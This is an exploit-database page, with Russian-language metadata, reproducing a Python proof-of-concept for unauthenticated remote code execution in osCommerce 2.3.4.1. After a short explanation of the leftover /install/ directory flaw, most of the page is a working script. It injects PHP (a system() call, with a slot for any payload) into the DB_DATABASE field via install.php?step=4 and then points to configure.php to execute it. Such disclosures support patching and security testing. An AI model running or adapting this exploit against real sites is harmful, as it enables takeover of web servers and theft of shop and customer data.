Exploit osCommerce 2.3.4.1 - Remote Code Execution

[Exploiter]

EDB-ID

44374

Проверка EDB

1. Пройдено

Автор

SIMON SCANNELL

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2018-03-30

osCommerce 2.3.4.1 - Remote Code Execution

# Exploit Title: osCommerce 2.3.4.1 Remote Code Execution
# Date: 29.0.3.2018
# Exploit Author: Simon Scannell - https://scannell-infosec.net <[email protected]>
# Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
# Tested on: Linux, Windows

# If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible
# for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page
# is already installed and does not attempt to do any authentication. It is possible for an attacker to directly
# execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject
# PHP code into the config file and then simply executing the code by opening it.


import requests

# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base_url = "http://localhost//oscommerce-2.3.4.1/catalog/"
target_url = "http://localhost/oscommerce-2.3.4.1/catalog/install/install.php?step=4"

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*

payload = '\');'
payload += 'system("ls");'    # this is where you enter you PHP payload
payload += '/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)

if r.status_code == 200:
    print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
    print("[-] Exploit did not execute as planned")